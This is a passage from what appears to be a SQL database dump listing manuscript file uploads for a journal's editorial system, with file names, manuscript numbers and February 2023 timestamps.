10:52:37',1,3,0),(35589,13370,'13370-Manuscript-2023-02-08-y9vw.pdf',NULL,'2023-02-08 10:53:13',1,3,0),(35590,13470,'13470-Manuscript-2023-02-08-f6dj-ipar-23-13470.rar',NULL,'2023-02-08 10:54:08',1,3,1),(35591,13444,'13444-Manuscript-2023-02-08-nxkj-ipar-23-13444.rar',NULL,'2023-02-08 10:54:58',1,3,1),(35592,13423,'13423-Manuscript-2023-02-08-ozak-ipar-23-13423.rar',NULL,'2023-02-08 10:55:40',1,3,1),(35593,13424,'13424-Manuscript-2023-02-08-hpg1-ipar-23-13424.rar',NULL,'2023-02-08 10:56:13',1,3,1),(35594,13427,'13427-Manuscript-2023-02-08-o8el-ipar-23-13427.rar',NULL,'2023-02-08 10:56:42',1,3,1),(35595,13492,'13492-0-Manuscript-2023-02-08.docx',NULL,'2023-02-08 12:07:13',1,1,0),(35596,13493,'13493-0-Manuscript-2023-02-08.docx',NULL,'2023-02-08 12:08:54',1,1,0),(35597,13494,'13494-0-Manuscript-2023-02-08.docx',NULL,'2023-02-08 12:10:28',1,1,0),(35598,13495,'13495-0-Manuscript-2023-02-08.docx',NULL,'2023-02-08 12:13:06',1,1,0),(35599,13213,'13213-yjtz-Manuscript-proof-submission-2023-02-08.rar',NULL,'2023-02-08 12:15:11',1,3,0),(35600,13458,'13458-Manuscript-2023-02-08-fwkp-graphic-completed.pdf',NULL,'2023-02-08 12:20:17',1,3,0),(35601,13457,'13457-Manuscript-2023-02-08-jwsl-graphic-completed.pdf',NULL,'2023-02-08 12:20:25',1,3,0),(35602,13456,'13456-Manuscript-2023-02-08-k0n1-graphic-completed.pdf',NULL,'2023-02-08 12:20:35',1,3,0),(35603,13455,'13455-Manuscript-2023-02-08-gzhb-graphic-completed.pdf',NULL,'2023-02-08 12:20:45',1,3,0),(35604,13454,'13454-Manuscript-2023-02-08-2ef1-graphic-completed.pdf',NULL,'2023-02-08 12:20:53',1,3,0),(35605,13213,'13213-Manuscript-2023-02-08-ueql-ap-team-revised.rar',NULL,'2023-02-08 14:09:01',1,3,1),(35606,13208,'13208-Manuscript-2023-02-08-pt72-iphsj-22-13208.rar',NULL,'2023-02-08 14:09:35',1,3,1),(35607,13368,'13368-Manuscript-2023-02-08-z3s4-ap-ame-revised.pdf',NULL,'2023-02-08 15:24:07',1,3,0),(35608,13461,'13461-y08b-Manuscript-proof-submission-2023-02-08.rar',NULL,'2023-02-08 16:54:17',1,3,0),(35609,13459,'13459-ldqa-Manuscript-proof-submission-2023-02-08.rar',NULL,'2023-02-08 16:55:21',1,3,0),(35610,13453,'13453-dfp8-Manuscript-proof-submission-2023-02-08.rar',NULL,'2023-02-08 16:56:18',1,3,0),(35611,13453,'13453-y3wt-Manuscript-proof-submission-2023-02-08.rar',NULL,'2023-02-08 16:56:20',1,3,0),(35612,13452,'13452-uy3l-Manuscript-proof-submission-2023-02-08.rar',NULL,'2023-02-08 16:57:46',1,3,0),(35613,13368,'13368-Manuscript-2023-02-08-em8o.pdf',NULL,'2023-02-08 16:59:04',1,3,0),(35614,13496,'13496-0-Manuscript-2023-02-08.docx',NULL,'2023-02-08 17:16:18',1,1,0),(35615,13471,'13471-0abh-Manuscript-proof-submission-2023-02-09.docx',NULL,'2023-02-09 10:11:25',1,3,0),(35616,13471,'13471-5zdm-Manuscript-proof-submission-2023-02-09.docx',NULL,'2023-02-09 10:13:43',1,3,0),(35617,13416,'13416-l5gk-Manuscript-proof-submission-2023-02-09.docx',NULL,'2023-02-09 10:34:35',1,3,0),(35618,13461,'13461-Manuscript-2023-02-09-pmwk-ipacr-23-13461.rar',NULL,'2023-02-09 10:35:12',1,3,1),(35619,13452,'13452-Manuscript-2023-02-09-1tn3-ipacr-23-13452.rar',NULL,'2023-02-09 10:35:50',1,3,1),(35620,13453,'13453-Manuscript-2023-02-09-rj3q-ipacr-23-13453.rar',NULL,'2023-02-09 10:36:27',1,3,1),(35621,13459,'13459-Manuscript-2023-02-09-sbrl-ipacr-23-13459.rar',NULL,'2023-02-09 10:37:01',1,3,1),(35622,13406,'13406-Manuscript-2023-02-09-6vf0-graphic-completed.pdf',NULL,'2023-02-09 11:26:12',1,3,0),(35623,13429,'13429-Manuscript-2023-02-09-omfg-graphic-completed.pdf',NULL,'2023-02-09 11:26:13',1,3,0),(35624,13428,'13428-Manuscript-2023-02-09-c8f9-graphic-completed.pdf',NULL,'2023-02-09 11:26:16',1,3,0),(35625,13431,'13431-Manuscript-2023-02-09-j30i-graphic-completed.pdf',NULL,'2023-02-09 11:26:21',1,3,0),(35626,13463,'13463-Manuscript-2023-02-09-a9bi-graphic-completed.pdf',NULL,'2023-02-09 11:26:25',1,3,0),(35627,13182,'13182-jwhs-Manuscript-proof-submission-2023-02-09.docx',NULL,'2023-02-09 11:57:52',1,3,0),(35628,13171,'13171-7n3z-Manuscript-proof-submission-2023-02-09.docx',NULL,'2023-02-09 11:58:21',1,3,0),(35629,13497,'13497-0-Manuscript-2023-02-09.docx',NULL,'2023-02-09 13:16:10',1,1,0),(35630,13482,'13482-sw0d-Manuscript-proof-submission-2023-02-09.rar',NULL,'2023-02-09 13:42:10',1,3,0),(35631,13498,'13498-0-Manuscript-2023-02-09.docx',NULL,'2023-02-09 13:49:53',1,1,0),(35632,13481,'13481-r95a-Manuscript-proof-submission-2023-02-09.rar',NULL,'2023-02-09 14:01:45',1,3,0),(35633,13480,'13480-d8xh-Manuscript-proof-submission-2023-02-09.rar',NULL,'2023-02-09 14:52:18',1,3,0),(35634,13479,'13479-85kp-Manuscript-proof-submission-2023-02-09.rar',NULL,'2023-02-09 15:30:33',1,3,0),(35635,13478,'13478-ek5c-Manuscript-proof-submission-2023-02-09.rar',NULL,'2023-02-09 15:46:02',1,3,0),(35636,13478,'13478-Manuscript-2023-02-09-r0d6-ap-team-revised.rar',NULL,'2023-02-09 17:17:48',1,3,1),(35637,13479,'13479-Manuscript-2023-02-09-fyc2-ap-team-revised.rar',NULL,'2023-02-09 17:18:21',1,3,1),(35638,13480,'13480-Manuscript-2023-02-09-q74u-ap-team-revised.rar',NULL,'2023-02-09 17:18:54',1,3,1),(35639,13481,'13481-Manuscript-2023-02-09-9r4h-ap-team-revised.rar',NULL,'2023-02-09 17:19:35',1,3,1),(35640,13482,'13482-Manuscript-2023-02-09-9mgk-ap-team-revised.rar',NULL,'2023-02-09 17:20:03',1,3,1),(35641,13395,'13395-hvmg-Manuscript-proof-submission-2023-02-10.rar',NULL,'2023-02-10 09:43:05',1,3,0),(35642,13460,'13460-xb39-Manuscript-proof-submission-2023-02-10.rar',NULL,'2023-02-10 09:52:57',1,3,0),(35643,13483,'13483-godq-Manuscript-proof-submission-2023-02-10.rar',NULL,'2023-02-10 09:53:55',1,3,0),(35644,13489,'13489-65ug-Manuscript-proof-submission-2023-02-10.rar',NULL,'2023-02-10 09:54:08',1,3,0),(35645,13490,'13490-r6i3-Manuscript-proof-submission-2023-02-10.rar',NULL,'2023-02-10 09:54:20',1,3,0),(35646,13491,'13491-e4bg-Manuscript-proof-submission-2023-02-10.rar',NULL,'2023-02-10 09:54:36',1,3,0),(35647,13464,'13464-Manuscript-2023-02-10-m1xq-iphspr-23-13464.rar',NULL,'2023-02-10 10:35:58',1,3,1),(35648,13465,'13465-Manuscript-2023-02-10-6idt-iphspr-23-13465.rar',NULL,'2023-02-10 10:36:45',1,3,1),(35649,13466,'13466-Manuscript-2023-02-10-capx-iphspr-23-13466.rar',NULL,'2023-02-10 10:37:31',1,3,1),(35650,13467,'13467-Manuscript-2023-02-10-p105-iphspr-23-13467.rar',NULL,'2023-02-10 10:38:14',1,3,1),(35651,13468,'13468-Manuscript-2023-02-10-aqbn-iphspr-23-13468.rar',NULL,'2023-02-10 10:38:50',1,3,1),(35652,13491,'13491-Manuscript-2023-02-10-p4jg-ap-team-revised.rar',NULL,'2023-02-10 13:07:51',1,3,1),(35653,13489,'13489-Manuscript-2023-02-10-v07y-ap-team-revised.rar',NULL,'2023-02-10 13:08:59',1,3,1),(35654,13490,'13490-Manuscript-2023-02-10-o6ut-ap-team-revised.rar',NULL,'2023-02-10 13:09:27',1,3,1),(35655,13483,'13483-Manuscript-2023-02-10-vyfu-ap-team-revised.rar',NULL,'2023-02-10 13:09:57',1,3,1),(35656,13460,'13460-Manuscript-2023-02-10-65b8-ap-team-revised.rar',NULL,'2023-02-10 13:10:27',1,3,1),(35657,13395,'13395-Manuscript-2023-02-10-6mf8-ap-team-revised.rar',NULL,'2023-02-10 13:20:58',1,3,1),(35658,13454,'13454-Manuscript-2023-02-10-25ki.pdf',NULL,'2023-02-10 13:30:57',1,3,1),(35659,13455,'13455-Manuscript-2023-02-10-ra0n.pdf',NULL,'2023-02-10 13:31:37',1,3,1),(35660,13456,'13456-Manuscript-2023-02-10-o3ap.pdf',NULL,'2023-02-10 13:32:20',1,3,1),(35661,13457,'13457-Manuscript-2023-02-10-wjv4.pdf',NULL,'2023-02-10 13:32:58',1,3,1),(35662,13458,'13458-Manuscript-2023-02-10-bkz6.pdf',NULL,'2023-02-10 13:33:31',1,3,0),(35663,13458,'13458-Manuscript-2023-02-10-p9er.pdf',NULL,'2023-02-10 13:34:44',1,3,1),(35664,13468,'13468-Manuscript-2023-02-10-e0ob-graphic-completed.pdf',NULL,'2023-02-10 14:20:13',1,3,0),(35665,13467,'13467-Manuscript-2023-02-10-9nbp-graphic-completed.pdf',NULL,'2023-02-10 14:20:17',1,3,0),(35666,13466,'13466-Manuscript-2023-02-10-z78r-graphic-completed.pdf',NULL,'2023-02-10 14:20:43',1,3,0),(35667,13465,'13465-Manuscript-2023-02-10-mdvk-graphic-completed.pdf',NULL,'2023-02-10 14:20:48',1,3,0),(35668,13464,'13464-Manuscript-2023-02-10-ef39-graphic-completed.pdf',NULL,'2023-02-10 14:21:05',1,3,0),(35669,13474,'13474-Manuscript-2023-02-10-98wt-graphic-completed.pdf',NULL,'2023-02-10 17:35:47',1,3,0),(35670,13473,'13473-Manuscript-2023-02-10-139r-graphic-completed.pdf',NULL,'2023-02-10 17:35:51',1,3,0),(35671,13472,'13472-Manuscript-2023-02-10-0c4g-graphic-completed.pdf',NULL,'2023-02-10 17:35:54',1,3,0),(35672,13476,'13476-Manuscript-2023-02-10-wkqr-graphic-completed.pdf',NULL,'2023-02-10 17:36:14',1,3,0),(35673,13475,'13475-Manuscript-2023-02-10-ipg2-graphic-completed.pdf',NULL,'2023-02-10 17:36:22',1,3,0),(35675,13473,'13473-Manuscript-2023-02-13-vyiu.pdf',NULL,'2023-02-13 12:06:34',1,3,1),(35676,13475,'13475-Manuscript-2023-02-13-wp6e.pdf',NULL,'2023-02-13 12:07:07',1,3,1),(35677,13476,'13476-Manuscript-2023-02-13-d31w.pdf',NULL,'2023-02-13 12:07:40',1,3,1),(35678,13472,'13472-Manuscript-2023-02-13-h59s.pdf',NULL,'2023-02-13 12:08:47',1,3,1),(35679,13438,'13438-fu27-Manuscript-proof-submission-2023-02-15.rar',NULL,'2023-02-15 10:41:55',1,3,0),(35680,13438,'13438-Manuscript-2023-02-15-chgm-ap-team-revised.rar',NULL,'2023-02-15 10:58:24',1,3,1),(35681,13451,'13451-67kt-Manuscript-proof-submission-2023-02-15.rar',NULL,'2023-02-15 14:38:34',1,3,0),(35682,13441,'13441-sg1l-Manuscript-proof-submission-2023-02-15.docx',NULL,'2023-02-15 15:03:11',1,3,0),(35683,13440,'13440-ugw5-Manuscript-proof-submission-2023-02-15.docx',NULL,'2023-02-15 15:03:29',1,3,0),(35684,13439,'13439-xose-Manuscript-proof-submission-2023-02-15.docx',NULL,'2023-02-15 15:03:46',1,3,0),(35685,13416,'13416-Manuscript-2023-02-15-p53w-ipadm-23-13416.docx',NULL,'2023-02-15 15:07:41',1,3,0),(35686,13439,'13439-Manuscript-2023-02-15-gzby-ap-team-revised.docx',NULL,'2023-02-15 15:08:39',1,3,0),(35687,13440,'13440-Manuscript-2023-02-15-4jpu-ap-team-revised.docx',NULL,'2023-02-15 15:09:32',1,3,0),(35688,13451,'13451-Manuscript-2023-02-15-a9tf-ap-team-revised.rar',NULL,'2023-02-15 15:09:59',1,3,1),(35689,13441,'13441-Manuscript-2023-02-15-pr8k-ap-team-revised.docx',NULL,'2023-02-15 15:10:43',1,3,0),(35690,13471,'13471-Manuscript-2023-02-15-1unp-ipadm-23-13471.docx',NULL,'2023-02-15 15:12:20',1,3,0),(35691,13416,'13416-Manuscript-2023-02-15-ald1-graphic-completed.pdf',NULL,'2023-02-15 15:15:14',1,3,0),(35692,13439,'13439-Manuscript-2023-02-15-musn-graphic-completed.pdf',NULL,'2023-02-15 15:16:07',1,3,0),(35693,13440,'13440-Manuscript-2023-02-15-gjsc-graphic-completed.pdf',NULL,'2023-02-15 15:17:01',1,3,0),(35694,13441,'13441-Manuscript-2023-02-15-6voz-graphic-completed.pdf',NULL,'2023-02-15 15:18:11',1,3,0),(35695,13471,'13471-Manuscript-2023-02-15-qs7v-graphic-completed.pdf',NULL,'2023-02-15 15:22:35',1,3,0),(35696,13469,'13469-uoj1-Manuscript-proof-submission-2023-02-15.rar',NULL,'2023-02-15 15:48:16',1,3,0),(35697,13469,'13469-mqeo-Manuscript-proof-submission-2023-02-15.rar',NULL,'2023-02-15 15:48:18',1,3,0),(35698,13469,'13469-Manuscript-2023-02-15-ghdj-ap-team-revised.rar',NULL,'2023-02-15 16:50:08',1,3,0),(35699,13460,'13460-Manuscript-2023-02-15-hjg7-graphic-completed.pdf',NULL,'2023-02-15 17:23:43',1,3,0),(35700,13483,'13483-Manuscript-2023-02-15-zrsa-graphic-completed.pdf',NULL,'2023-02-15 17:23:46',1,3,0),(35701,13490,'13490-Manuscript-2023-02-15-z8sp-graphic-completed.pdf',NULL,'2023-02-15 17:23:58',1,3,0),(35702,13489,'13489-Manuscript-2023-02-15-wjpf-graphic-completed.pdf',NULL,'2023-02-15 17:24:05',1,3,0),(35703,13500,'13500-0-Manuscript-2023-02-15.docx',NULL,'2023-02-15 23:46:43',1,1,0),(35704,13489,'13489-Manuscript-2023-02-16-zyta.pdf',NULL,'2023-02-16 10:41:59',1,3,1),(35705,13490,'13490-Manuscript-2023-02-16-j3el.pdf',NULL,'2023-02-16 10:43:23',1,3,1),(35706,13491,'13491-Manuscript-2023-02-16-ghfr.pdf',NULL,'2023-02-16 10:44:43',1,3,1),(35707,13483,'13483-Manuscript-2023-02-16-80gv.pdf',NULL,'2023-02-16 10:48:40',1,3,1),(35708,13460,'13460-Manuscript-2023-02-16-uklc.pdf',NULL,'2023-02-16 10:50:12',1,3,1),(35709,13467,'13467-Manuscript-2023-02-16-wt9k.pdf',NULL,'2023-02-16 11:24:25',1,3,1),(35710,13468,'13468-Manuscript-2023-02-16-gq86.pdf',NULL,'2023-02-16 11:26:00',1,3,1),(35711,13465,'13465-Manuscript-2023-02-16-mklz.pdf',NULL,'2023-02-16 11:27:33',1,3,1),(35712,13464,'13464-Manuscript-2023-02-16-ifa3.pdf',NULL,'2023-02-16 11:37:33',1,3,1),(35713,13463,'13463-Manuscript-2023-02-16-dmto.pdf',NULL,'2023-02-16 12:13:52',1,3,1),(35714,13395,'13395-Manuscript-2023-02-16-b24e-graphic-completed.pdf',NULL,'2023-02-16 12:20:56',1,3,0),(35715,13438,'13438-Manuscript-2023-02-16-v5ir-graphic-completed.pdf',NULL,'2023-02-16 12:21:10',1,3,0),(35716,13451,'13451-Manuscript-2023-02-16-qexb-graphic-completed.pdf',NULL,'2023-02-16 12:21:34',1,3,0),(35717,13213,'13213-Manuscript-2023-02-16-kho3-graphic-completed.pdf',NULL,'2023-02-16 12:21:51',1,3,0),(35718,13208,'13208-Manuscript-2023-02-16-sa24-graphic-completed.pdf',NULL,'2023-02-16 12:22:03',1,3,0),(35719,13406,'13406-Manuscript-2023-02-16-v5k6.pdf',NULL,'2023-02-16 13:21:38',1,3,1),(35720,13428,'13428-Manuscript-2023-02-16-hozm.pdf',NULL,'2023-02-16 13:56:15',1,3,1),(35721,13429,'13429-Manuscript-2023-02-16-kxga.pdf',NULL,'2023-02-16 13:57:35',1,3,1),(35722,13438,'13438-Manuscript-2023-02-16-8df9.pdf',NULL,'2023-02-16 14:19:28',1,3,1),(35723,13451,'13451-Manuscript-2023-02-16-lwod.pdf',NULL,'2023-02-16 14:20:46',1,3,1),(35724,13395,'13395-Manuscript-2023-02-16-thg0.pdf',NULL,'2023-02-16 14:21:53',1,3,1),(35725,13213,'13213-Manuscript-2023-02-16-pnek.pdf',NULL,'2023-02-16 14:23:08',1,3,1),(35726,13208,'13208-Manuscript-2023-02-16-hjx5.pdf',NULL,'2023-02-16 14:24:29',1,3,1),(35727,13501,'13501-0-Manuscript-2023-02-16.pdf',NULL,'2023-02-16 15:22:26',1,1,0),(35728,13502,'13502-0-Manuscript-2023-02-16.doc',NULL,'2023-02-16 15:47:14',1,1,0),(35729,13503,'13503-0-Manuscript-2023-02-16.docx',NULL,'2023-02-17 03:43:44',1,1,0),(35730,13504,'13504-0-Manuscript-2023-02-16.docx',NULL,'2023-02-17 03:51:51',1,1,0),(35731,13505,'13505-0-Manuscript-2023-02-16.docx',NULL,'2023-02-17 03:56:53',1,1,0),(35732,13466,'13466-Manuscript-2023-02-20-29i8-graphic-completed.pdf',NULL,'2023-02-20 14:46:21',1,3,0),(35733,13466,'13466-Manuscript-2023-02-20-39xs.pdf',NULL,'2023-02-20 15:26:45',1,3,1),(35734,13431,'13431-Manuscript-2023-02-20-vxkw.pdf',NULL,'2023-02-20 15:27:36',1,3,1),(35735,13469,'13469-Manuscript-2023-02-20-c82j.pdf',NULL,'2023-02-20 15:35:11',1,3,0),(35736,13469,'13469-Manuscript-2023-02-20-gwbo.pdf',NULL,'2023-02-20 15:36:10',1,3,0),(35737,13495,'13495-ov8j-Manuscript-proof-submission-2023-02-20.rar',NULL,'2023-02-20 16:38:55',1,3,0),(35738,13494,'13494-vp9w-Manuscript-proof-submission-2023-02-20.rar',NULL,'2023-02-20 16:39:33',1,3,0),(35739,13493,'13493-p1dr-Manuscript-proof-submission-2023-02-20.rar',NULL,'2023-02-20 16:40:26',1,3,0),(35740,13492,'13492-ifap-Manuscript-proof-submission-2023-02-20.rar',NULL,'2023-02-20 16:41:20',1,3,0),(35741,13442,'13442-fr6y-Manuscript-proof-submission-2023-02-20.rar',NULL,'2023-02-20 16:42:07',1,3,0),(35742,13492,'13492-Manuscript-2023-02-21-1alk-ipfs-23-13492.rar',NULL,'2023-02-21 11:25:43',1,3,1),(35743,13493,'13493-Manuscript-2023-02-21-4lqk-ipfs-23-13493.rar',NULL,'2023-02-21 11:26:12',1,3,1),(35744,13494,'13494-Manuscript-2023-02-21-ba1g-ipfs-23-13494.rar',NULL,'2023-02-21 11:26:45',1,3,1),(35745,13495,'13495-Manuscript-2023-02-21-8gh0-ipfs-23-13495.rar',NULL,'2023-02-21 11:27:13',1,3,1),(35746,13442,'13442-Manuscript-2023-02-21-wqy9-ipfs-23-13442.rar',NULL,'2023-02-21 11:27:44',1,3,1),(35747,13375,'13375-Manuscript-2023-02-21-0q5k.pdf',NULL,'2023-02-21 12:00:38',1,3,0),(35748,13488,'13488-ibyn-Manuscript-proof-submission-2023-02-21.rar',NULL,'2023-02-21 13:17:31',1,3,0),(35749,13487,'13487-mt9g-Manuscript-proof-submission-2023-02-21.rar',NULL,'2023-02-21 13:17:46',1,3,0),(35750,13486,'13486-z5t0-Manuscript-proof-submission-2023-02-21.rar',NULL,'2023-02-21 13:17:59',1,3,0),(35751,13485,'13485-k23v-Manuscript-proof-submission-2023-02-21.rar',NULL,'2023-02-21 13:18:18',1,3,0),(35752,13484,'13484-aqfm-Manuscript-proof-submission-2023-02-21.rar',NULL,'2023-02-21 13:18:43',1,3,0),(35753,13488,'13488-Manuscript-2023-02-21-di3g-ap-team-revised.rar',NULL,'2023-02-21 14:00:04',1,3,1),(35754,13484,'13484-Manuscript-2023-02-21-rntd-ap-team-revised.rar',NULL,'2023-02-21 14:00:50',1,3,1),(35755,13485,'13485-Manuscript-2023-02-21-khq0-ap-team-revised.rar',NULL,'2023-02-21 14:01:29',1,3,1),(35756,13486,'13486-Manuscript-2023-02-21-a02z-ap-team-revised.rar',NULL,'2023-02-21 14:02:05',1,3,0),(35757,13487,'13487-Manuscript-2023-02-21-q9lo-ap-team-revised.rar',NULL,'2023-02-21 14:02:45',1,3,1),(35758,13506,'13506-0-Manuscript-2023-02-21.docx',NULL,'2023-02-21 14:39:23',1,1,0),(35759,13379,'13379-Manuscript-2023-02-21-rbsm.pdf',NULL,'2023-02-21 14:57:44',1,3,0),(35760,13378,'13378-Manuscript-2023-02-21-bjlv.pdf',NULL,'2023-02-21 14:58:17',1,3,0),(35761,13377,'13377-Manuscript-2023-02-21-2ias.pdf',NULL,'2023-02-21 14:58:46',1,3,0),(35762,13376,'13376-Manuscript-2023-02-21-fz0q.pdf',NULL,'2023-02-21 14:59:18',1,3,0),(35764,13487,'13487-Manuscript-2023-02-22-s78l-graphic-completed.pdf',NULL,'2023-02-22 10:58:57',1,3,0),(35765,13486,'13486-Manuscript-2023-02-22-lp7y-graphic-completed.pdf',NULL,'2023-02-22 10:59:04',1,3,0),(35766,13485,'13485-Manuscript-2023-02-22-j5du-graphic-completed.pdf',NULL,'2023-02-22 10:59:16',1,3,0),(35767,13484,'13484-Manuscript-2023-02-22-16d0-graphic-completed.pdf',NULL,'2023-02-22 10:59:26',1,3,0),(35768,13488,'13488-Manuscript-2023-02-22-18th-graphic-completed.pdf',NULL,'2023-02-22 10:59:43',1,3,0),(35769,13508,'13507-0-Manuscript-2023-02-21.docx','','2023-02-21 00:00:00',1,1,0),(35770,13380,'13380-Manuscript-2023-02-22-1axt.pdf',NULL,'2023-02-22 11:50:24',1,3,0),(35771,13488,'13488-Manuscript-2023-02-22-we71.pdf',NULL,'2023-02-22 11:59:06',1,3,1),(35772,13487,'13487-Manuscript-2023-02-22-xlwy.pdf',NULL,'2023-02-22 12:00:37',1,3,1),(35773,13485,'13485-Manuscript-2023-02-22-5f16.pdf',NULL,'2023-02-22 12:07:39',1,3,1),(35774,13484,'13484-Manuscript-2023-02-22-pwkl.pdf',NULL,'2023-02-22 12:09:13',1,3,1),(35775,13508,'13508-u1y5-Manuscript-2023-02-22.docx',NULL,'2023-02-22 13:57:57',1,1,0),(35776,13509,'13509-0-Manuscript-2023-02-22.docx',NULL,'2023-02-22 21:23:19',1,1,0),(35777,13486,'13486-Manuscript-2023-02-23-2pjz.pdf',NULL,'2023-02-23 11:28:23',1,3,0),(35778,13510,'13510-0-Manuscript-2023-02-23.docx',NULL,'2023-02-23 13:33:28',1,1,0),(35779,13511,'13511-0-Manuscript-2023-02-23.docx',NULL,'2023-02-23 13:45:45',1,1,0),(35780,13512,'13512-0-Manuscript-2023-02-23.docx',NULL,'2023-02-23 13:48:16',1,1,0),(35781,13513,'13513-0-Manuscript-2023-02-23.docx',NULL,'2023-02-23 13:59:26',1,1,0),(35782,13514,'13514-0-Manuscript-2023-02-23.docx',NULL,'2023-02-23 14:00:06',1,1,0),(35783,13515,'13515-0-Manuscript-2023-02-24.docx',NULL,'2023-02-24 10:35:48',1,1,0),(35784,13516,'13516-0-Manuscript-2023-02-24.docx',NULL,'2023-02-24 10:52:36',1,1,0),(35785,13517,'13517-0-Manuscript-2023-02-24.docx',NULL,'2023-02-24 11:05:19',1,1,0),(35786,13518,'13518-0-Manuscript-2023-02-24.docx',NULL,'2023-02-24 11:08:03',1,1,0),(35787,13519,'13519-0-Manuscript-2023-02-24.docx',NULL,'2023-02-24 11:22:42',1,1,0),(35788,13474,'13474-Manuscript-2023-02-24-4mbl-graphic-completed.pdf',NULL,'2023-02-24 12:19:06',1,3,0),(35789,13480,'13480-Manuscript-2023-02-24-cluk-graphic-completed.pdf',NULL,'2023-02-24 13:09:21',1,3,0),(35790,13482,'13482-Manuscript-2023-02-24-ovba-graphic-completed.pdf',NULL,'2023-02-24 13:09:24',1,3,0),(35791,13481,'13481-Manuscript-2023-02-24-dwsk-graphic-completed.pdf',NULL,'2023-02-24 13:09:27',1,3,0),(35792,13478,'13478-Manuscript-2023-02-24-qkj9-graphic-completed.pdf',NULL,'2023-02-24 13:09:35',1,3,0),(35793,13479,'13479-Manuscript-2023-02-24-2vfm-graphic-completed.pdf',NULL,'2023-02-24 13:09:55',1,3,0),(35794,13423,'13423-Manuscript-2023-02-24-wmcx-graphic-completed.pdf',NULL,'2023-02-24 13:21:36',1,3,0),(35795,13492,'13492-Manuscript-2023-02-24-xhcg-graphic-completed.pdf',NULL,'2023-02-24 14:11:19',1,3,0),(35796,13495,'13495-Manuscript-2023-02-24-kpv7-graphic-completed.pdf',NULL,'2023-02-24 14:11:22',1,3,0),(35797,13494,'13494-Manuscript-2023-02-24-5jh7-graphic-completed.pdf',NULL,'2023-02-24 14:11:30',1,3,0),(35798,13493,'13493-Manuscript-2023-02-24-lryf-graphic-completed.pdf',NULL,'2023-02-24 14:11:35',1,3,0),(35799,13442,'13442-Manuscript-2023-02-24-qwkj-graphic-completed.pdf',NULL,'2023-02-24 14:11:41',1,3,0),(35800,13436,'13436-Manuscript-2023-02-24-a56x-graphic-completed.pdf',NULL,'2023-02-24 14:14:51',1,3,0),(35801,13459,'13459-Manuscript-2023-02-24-6i9e-graphic-completed.pdf',NULL,'2023-02-24 14:33:15',1,3,0),(35802,13453,'13453-Manuscript-2023-02-24-tn0s-graphic-completed.pdf',NULL,'2023-02-24 14:33:17',1,3,0),(35803,13452,'13452-Manuscript-2023-02-24-jspk-graphic-completed.pdf',NULL,'2023-02-24 14:33:20',1,3,0),(35804,13461,'13461-Manuscript-2023-02-24-4nyr-graphic-completed.pdf',NULL,'2023-02-24 14:33:25',1,3,0),(35805,13444,'13444-Manuscript-2023-02-24-pt4u-graphic-completed.pdf',NULL,'2023-02-24 14:41:16',1,3,0),(35806,13427,'13427-Manuscript-2023-02-24-1tfg-graphic-completed.pdf',NULL,'2023-02-24 14:41:37',1,3,0),(35807,13424,'13424-Manuscript-2023-02-24-drbp-graphic-completed.pdf',NULL,'2023-02-24 14:41:40',1,3,0),(35808,13470,'13470-Manuscript-2023-02-24-yh5l-graphic-completed.pdf',NULL,'2023-02-24 14:42:13',1,3,0),(35809,13461,'13461-Manuscript-2023-02-24-nr3k.pdf',NULL,'2023-02-24 16:50:55',1,3,1),(35810,13452,'13452-Manuscript-2023-02-24-6w1e.pdf',NULL,'2023-02-24 16:51:42',1,3,1),(35811,13453,'13453-Manuscript-2023-02-24-lsq0.pdf',NULL,'2023-02-24 16:52:24',1,3,1),(35812,13459,'13459-Manuscript-2023-02-24-zb3j.pdf',NULL,'2023-02-24 16:53:17',1,3,1),(35816,13521,'13521-0-Manuscript-2023-02-24.docx',NULL,'2023-02-24 19:12:25',1,1,0),(35817,13492,'13492-Manuscript-2023-02-25-a4nt.pdf',NULL,'2023-02-25 10:09:21',1,3,1),(35818,13493,'13493-Manuscript-2023-02-25-g9wd.pdf',NULL,'2023-02-25 10:10:00',1,3,1),(35819,13494,'13494-Manuscript-2023-02-25-f2oi.pdf',NULL,'2023-02-25 10:10:35',1,3,1),(35820,13495,'13495-Manuscript-2023-02-25-hjmw.pdf',NULL,'2023-02-25 10:11:47',1,3,1),(35821,13442,'13442-Manuscript-2023-02-25-7vzd.pdf',NULL,'2023-02-25 10:12:36',1,3,1),(35823,13510,'13510-4w0g-Manuscript-proof-submission-2023-02-27.rar',NULL,'2023-02-27 12:03:30',1,3,0),(35824,13511,'13511-5bd1-Manuscript-proof-submission-2023-02-27.rar',NULL,'2023-02-27 12:04:12',1,3,0),(35825,13512,'13512-2hxj-Manuscript-proof-submission-2023-02-27.rar',NULL,'2023-02-27 12:04:52',1,3,0),(35826,13514,'13514-bo9s-Manuscript-proof-submission-2023-02-27.rar',NULL,'2023-02-27 12:05:22',1,3,0),(35828,13515,'13515-8kpn-Manuscript-proof-submission-2023-02-27.docx',NULL,'2023-02-27 17:24:24',1,3,0),(35829,13516,'13516-j4h2-Manuscript-proof-submission-2023-02-27.docx',NULL,'2023-02-27 17:25:24',1,3,0),(35830,13517,'13517-7qr5-Manuscript-proof-submission-2023-02-27.docx',NULL,'2023-02-27 17:26:15',1,3,0),(35831,13518,'13518-kmvt-Manuscript-proof-submission-2023-02-27.docx',NULL,'2023-02-27 17:28:10',1,3,0),(35832,13519,'13519-fm1c-Manuscript-proof-submission-2023-02-27.docx',NULL,'2023-02-27 17:28:44',1,3,0),(35833,13510,'13510-Manuscript-2023-02-28-5vrs-ipjbs-23-13510.rar',NULL,'2023-02-28 10:23:11',1,3,1),(35834,13511,'13511-Manuscript-2023-02-28-4j9t-ipjbs-23-13511.rar',NULL,'2023-02-28 10:23:46',1,3,1),(35835,13512,'13512-Manuscript-2023-02-28-skfi-ipjbs-23-13512.rar',NULL,'2023-02-28 10:24:44',1,3,1),(35836,13514,'13514-Manuscript-2023-02-28-cs5y-ipjbs-23-13514.rar',NULL,'2023-02-28 10:25:24',1,3,1),(35837,13515,'13515-Manuscript-2023-02-28-6fip-ipaom-23-13515.docx',NULL,'2023-02-28 13:11:03',1,3,0),(35838,13516,'13516-Manuscript-2023-02-28-hwfn-ipaom-23-13516.docx',NULL,'2023-02-28 13:11:11',1,3,0),(35839,13517,'13517-Manuscript-2023-02-28-0jsg-ipaom-23-13517.docx',NULL,'2023-02-28 13:11:21',1,3,0),(35840,13518,'13518-Manuscript-2023-02-28-zb7h-ipaom-23-13518.docx',NULL,'2023-02-28 13:11:31',1,3,0),(35841,13518,'13518-Manuscript-2023-02-28-z4x1-ipaom-23-13518.docx',NULL,'2023-02-28 